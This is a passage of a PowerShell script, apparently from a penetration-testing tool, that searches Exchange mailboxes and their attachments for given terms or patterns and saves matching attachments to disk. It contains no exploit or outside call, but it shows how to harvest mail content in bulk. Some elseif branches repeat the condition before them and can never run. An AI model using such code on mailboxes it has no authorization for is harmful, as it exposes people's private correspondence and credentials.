$folderView = [Microsoft.Exchange.WebServices.Data.FolderView]100
$folderView.Traversal='Deep'
$rootFolder.Load()
if ($Folder -ne "all")
{
$CustomFolderObj = $rootFolder.FindFolders($folderView) | Where-Object { $_.DisplayName -eq $Folder }
}
else
{
$CustomFolderObj = $rootFolder.FindFolders($folderView)
}
}
$PostSearchList = @()
if($OtherUserMailbox)
{
$PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::FirstClassProperties)
$PropertySet.RequestedBodyType = [Microsoft.Exchange.WebServices.Data.BodyType]::Text
$mails = $Inbox.FindItems($MailsPerUser)
if ($regex -eq "")
{
Write-Output ("[*] Now searching mailbox: $Mailbox for the terms $Terms.")
}
else
{
Write-Output ("[*] Now searching the mailbox: $Mailbox with the supplied regular expression.")
}
foreach ($item in $mails.Items)
{
$item.Load($PropertySet)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($item.Body.Text -like $specificterm)
{
$PostSearchList += $item
}
elseif ($item.Subject -like $specificterm)
{
$PostSearchList += $item
}
}
}
else
{
foreach($regularexpresion in $Regex)
{
if ($item.Body.Text -match $regularexpresion)
{
$PostSearchList += $item
}
elseif ($item.Subject -match $regularexpresion)
{
$PostSearchList += $item
}
}
}
if ($CheckAttachments)
{
foreach($attachment in $item.Attachments)
{
if($attachment -is [Microsoft.Exchange.WebServices.Data.FileAttachment])
{
if($attachment.Name.Contains(".txt") -Or $attachment.Name.Contains(".htm") -Or $attachment.Name.Contains(".pdf") -Or $attachment.Name.Contains(".ps1") -Or $attachment.Name.Contains(".doc") -Or $attachment.Name.Contains(".xls") -Or $attachment.Name.Contains(".bat") -Or $attachment.Name.Contains(".msg"))
{
$attachment.Load() | Out-Null
$plaintext = [System.Text.Encoding]::ASCII.GetString($attachment.Content)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($plaintext -like $specificterm)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + "-" + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -like $specificterm)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
else
{
foreach($regularexpresion in $Regex)
{
if ($plaintext -match $regularexpresion)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -match $regularexpresion)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
}
}
}
}
}
}
else{
Foreach($foldername in $CustomFolderObj)
{
Write-Output "[***] Found folder: $($foldername.DisplayName)"
try
{
$Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$foldername.Id)
}
catch
{
$ErrorMessage = $_.Exception.Message
if ($ErrorMessage -like "*Exchange Server doesn't support the requested version.*")
{
Write-Output "[*] ERROR: The connection to Exchange failed using Exchange Version $ExchangeVersion."
Write-Output "[*] Try setting the -ExchangeVersion flag to the Exchange version of the server."
Write-Output "[*] Some options to try: Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1."
break
}
}
$PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::FirstClassProperties)
$PropertySet.RequestedBodyType = [Microsoft.Exchange.WebServices.Data.BodyType]::Text
$mails = $Inbox.FindItems($MailsPerUser)
if ($regex -eq "")
{
Write-Output ("[*] Now searching mailbox: $Mailbox for the terms $Terms.")
}
else
{
Write-Output ("[*] Now searching the mailbox: $Mailbox with the supplied regular expression.")
}
foreach ($item in $mails.Items)
{
$item.Load($PropertySet)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($item.Body.Text -like $specificterm)
{
$PostSearchList += $item
}
elseif ($item.Subject -like $specificterm)
{
$PostSearchList += $item
}
}
}
else
{
foreach($regularexpresion in $Regex)
{
if ($item.Body.Text -match $regularexpresion)
{
$PostSearchList += $item
}
elseif ($item.Subject -match $regularexpresion)
{
$PostSearchList += $item
}
}
}
if ($CheckAttachments)
{
foreach($attachment in $item.Attachments)
{
if($attachment -is [Microsoft.Exchange.WebServices.Data.FileAttachment])
{
if($attachment.Name.Contains(".txt") -Or $attachment.Name.Contains(".htm") -Or $attachment.Name.Contains(".pdf") -Or $attachment.Name.Contains(".ps1") -Or $attachment.Name.Contains(".doc") -Or $attachment.Name.Contains(".xls") -Or $attachment.Name.Contains(".bat") -Or $attachment.Name.Contains(".msg"))
{
$attachment.Load() | Out-Null
$plaintext = [System.Text.Encoding]::ASCII.GetString($attachment.Content)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($plaintext -like $specificterm)
{